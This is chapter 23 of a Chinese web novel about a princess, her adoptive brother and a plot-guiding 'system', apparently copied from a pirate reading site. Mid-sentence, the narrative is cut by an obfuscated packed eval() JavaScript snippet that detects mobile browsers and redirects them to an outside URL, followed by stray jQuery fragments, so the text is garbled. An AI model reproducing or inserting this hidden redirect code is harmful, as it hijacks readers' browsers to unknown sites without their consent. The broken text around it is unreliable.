23. 第 23 章
作品:《恶女意外攻略皇兄后》 方才的热闹一下消散,只剩下一人时慕照临心下不免惆怅,她将香囊放回桌上,离开中堂来到床前架着的琴边,一曲又一曲,后半夜实在撑不住竟直接砸在琴上,“铮”的一声后琴音戛然而止。
窗边应声出现一个黑影,他小心翼翼向屋内看去,在看到那人熟睡的样子后轻叹口气,翻身入内将放于明眼处的斗篷披在她身上,而后悄然退去。
梦中的慕照临并不安稳,她梦见有人拿针扎自己的胳膊和右脸,本来还可忍受,可针却突然变粗比方才足足大上十倍,这才把人一下子吓醒,直到熟悉的场景映入眼帘才明白方才都是梦。
她下意识地抬起胳膊试图拍拍胸脯,可谁料却传来一阵酸麻,眼前也浮现出雪花,慕照临顿时意识到什么,陡然起身来到铜镜前,果然右脸上已被衣裳的花纹烙上痕迹,她胡乱揉捏两把,躺回床上,视线却被掉落在地的斗篷吸引。
慕照临暗自思索,系统却突然出声:“宿主,你可算醒了。”
这将她的思路打断,被迫打起精神回道:“你这话说得像我死了一样。”
谁知系统却突然激动,大声道:“不许说这种丧气话,快呸呸呸。”
一个机械系统竟然也迷信?慕照临只觉得好笑,可还是顺从道:“呸、呸、呸。”
心满意足的系统这才继续开口:“我是来恭喜宿主的。”
“恭喜什么?”
“宿主已经通关了剧情的第一部分,当然值得恭喜了。”
这话让她十分不解,于是偷偷开始套话:“那你说说原书中的第一部分剧情该是什么。”
“宿主得知自己真实身世啊。”系统倒是理直气壮。
慕照临听得直摇头,拧着眉道:“可这件事皇后不是早就告诉我了吗?”
“…”系统被问住,可她又不想露怯,苦思冥想半天给出一个看上去很靠谱的回答,“原书中宿主并无婚约,或许是因为此事皇后才提前告知您的身世。”
“那书中徐秋为何会对我说这番话呢?”
系统利落道:“因为宿主一直咄咄逼人,打着为皇室的名号日日凭公主的身份折辱她,想来徐秋实在走投无路才试图用这种方法挫挫您的锐气。”
“真是造孽。”慕照临喃喃出声,却又蓦地想起什么,将话题引到自家皇兄身上,“我的身世必然是慕瑾川那家伙告知她的,还骗我说与她不熟,想来也都是假话,虚情假意的骗子。”
系统反常地“嗯”“啊”两声,随后出言替慕瑾川说话:“宿主或许误会男主了,他可能是有苦衷的。”为了增加自己话语的可信度,她补充道,“毕竟昨夜男主怕宿主着凉还特地来给你披上斗篷,而且、而且他还送你香囊了呢。”这话是越说越小声,因为系统感觉到了慕照临凌厉的眼神。
她闭嘴后慕照临质问道:“你为何突然说上他的好话了?胳膊肘往外拐的家伙。”
“因为宿主接下来要正式攻略男主了,第二部分的剧情基本都是在刷存在感,我这是为宿主好。”
闻言慕照临愣愣道:“那沈宁呢?后头有她吗?”
“自然,女主的剧情非常多,因为杨昭白是女主的表姐。过上几日女主会在宫中暂住一段时间,也是宿主需要完成的剧情最多的时候。”
心累的慕照临将被褥拉到头顶装死,仿佛这样就听不到系统的声音,可终归是徒劳的。不过她也并非杞人忧天之人,至少在正式剧情开始前还有五日的空闲。
这五日除了慕照临外的所有人都提心吊胆,只有她乐得清闲,除却平时的弹琴、下棋、读书,还让灵芝拿来一堆粉色绒线,神神秘秘地捣鼓起来。
五日的时间足以让药草的清香充满整间屋子,连带着她身上的气味都很浓郁,只怕让人一靠近便能闻出。味虽大了些却胜在清雅脱俗,细细闻来还有种荷花的感觉,想必配制时定然下了一通功夫。可这所有的一切不通药理香料的慕照临都不清楚,她只知道最近屋中很好闻,自己身上也是,让人心情愉悦。
一转眼屋外的侍卫便撤去,她也终于重获自由,常心早早便等在门外只待请慕照临去用午膳。她一蹦一跳地去正殿,活像只小麻雀,周围丫鬟太监纷纷笑着行礼。
“母后可等急了?”人未到声先至。
看着她精神满满的样子,楚烟宠溺道:“不急,母后等临儿多久都是愿意的,快来尝尝小厨房刚送来的牛乳糕。”
慕照临故意撒娇道:“为何没有桂花?母后不知我最爱吃牛乳桂花糕了吗?”
“眼下哪有好桂花,怎地也要再等上些时候。”语气中并无怪罪之意,只似家常里短,忽地却话锋一转,担忧道,“这些话在母后前说说无妨,可在旁人眼中却不能多说,尤其是苏国师,他自来提倡节俭。”
温馨的氛围陡转急下,楚烟自知失言笑着找补:“是母后多话了,快些吃吧。”
用过午膳后慕照临开口请示道:“母后,我想亲自向徐贵人赔罪。”
“啊?”楚烟很是惊诧,惹得慕照临不满道:“母后这是什么表情?”
楚烟尴尬一笑,道:“我倒不是不让你去,只是怕你来我往间又起了冲突。”
话音刚落常心进来传信:“娘娘、公主,二殿下来了。”
一听此话楚烟像抓住救命稻草,连忙道:“快让川儿进来。”待慕瑾川入内行礼后她温声问道:“不知川儿一会儿是否得空?”
“自然,母后尽管吩咐。”
得到肯定的回答楚烟大手一挥,道:“那麻烦川儿带着临儿去给徐贵人赔罪了,赔礼常心会随着你们送去。”说完也不管她们同不同意对着常心狂使眼色。
这一系列操作让慕照临惊呆了,难道她在大家的心中是混世魔王的形象吗?那为什么慕瑾川就是乖巧懂事?不过她只用了三秒便接受这个事实,坦然自若地面对。
两人并肩走在宫道上时慕照临环着双臂默默加快步伐,可不论走多快慕瑾川都能跟上,最后只累到了自己。她正郁闷时慕瑾川却说起了风凉话:“妹妹何必如此着急?”
“哼。”她冷哼一声,“因为我想让兄长早些见到自己的知己啊。”
这可没刺激到他,慕瑾川见怪不怪地无奈道:“妹妹又说胡话了。”
“我说没说你自己心里清楚。”慕照临大声回怼,接着又小声补充,“什么事都往外抖落,吃里扒外。”
慕瑾川不着痕迹地皱下眉终究未多说什么。
“你这糊涂东西怎么做事的!”女子厉声的叫骂声穿透天际,刺得人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725751|173032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耳膜生疼。慕照临停下脚步揉着耳朵望去,却见不远处站着三人。其中一人打扮较为贵气想来应是妃嫔,只是不知是哪个宫的,身边站着个凶神恶煞的丫鬟,对面还立着一低头丫鬟。
没得到回应的丫鬟再次吼道:“你是聋了还是哑了?问你话呢不知道出声吗?”
那小丫鬟身体抖得像筛子,慕照临有些看不下去大踏步上前,慕瑾川未及时将人拦下,只好跟着她。
离她们还有几步距离时慕照临清清嗓子,见吸引了那主仆视线后开口道:“不知这里发生什么了?为何如此吵闹?”
慕照临不认识她们,她们可知道慕照临,方才还气势汹汹的丫鬟变得低眉顺眼,一言不发,还是被训的丫鬟柔柔道:“见过公主殿下、见过二殿下。”
“雀喜?”慕照临连忙将人上下打量一遍,确认没受伤后继续道,“你不好好在大皇兄的宫中待着跑到这里干嘛?”
雀喜明白这是给自己递话,抢先解释来龙去脉:“方才贵妃娘娘让奴婢将这冰裂纹青瓷的盘口瓶送至大殿下宫中,可谁料却不小心撞上齐贵人,无意吓到娘娘,花瓶也碎了一地。奴婢罪该万死,还请公主殿下责罚。”
慕照临未接话转而对着齐青黛道:“见过起贵人,方才未能及时认出还请贵人原谅,我早该想到宫中除了贵人哪还有如此貌美的呢。”
齐贵人心情颇好地回应道:“公主殿下太过客气。”
慕照临乘胜追击地问道:“不知贵人可有伤到?若是有我可是要将雀喜拉入慎刑司好好责罚一通。”
齐青黛虽有些刁蛮但本性不坏,故而还为着雀喜说起了话:“公主不必如此生气,我并未伤着,只是可惜了这上好的花瓶。”
慕照临忙吩咐雀喜:“还不快谢谢齐贵人,你去我那拿两个冰裂纹青瓷的花瓶,一个送到大皇兄宫中交差、一个送去给齐贵人赔罪。”
雀喜诺诺道:“是,多谢贵人、多谢公主。”
将人都打发走后一直在后头慕瑾川幽幽道:“没想到妹妹如此轻松就化干戈为玉帛。”
明明是夸奖的话却有些变了味慕照临不欲理他,自顾自向着百春宫去,慕瑾川却不闭嘴,继续道:“兄长我自进宫来也未曾见过冰裂纹青瓷瓶。”
“一会儿让灵芝也给你送一个。”
慕瑾川立刻恢复笑容,不忘说些体面话:“那多让妹妹破费,不过既然你执意如此我做兄长的也不好推脱。”
两人一路来到百春宫,还未进门便被拦下,是五日前跟在徐秋身边的那个丫鬟,她看到慕照临还有些心有余悸,颤抖着声音道:“请公主殿下、二殿下见谅,贵人她这些日子身子一直不适,实在不便见客。”
慕照临不再盯着她,看着旁边道:“可有找过太医?知道是何病因吗?”
那丫鬟不再颤抖,低落道:“所有太医都来过一遍了,全都束手无措,只说先喝着药调理,若半月后不见好再另想法子。”
“离悠,是谁来了?”清冷又虚弱的声音传来,紧接着便是苍白的面庞,不知情的人只怕会觉得这人好似已经死上三日,面上无一丝血色。
慕照临有些不敢置信,仅仅五日这人便病成这样,明眼人一看便知病情的严重性,太医院都是一群老糊涂!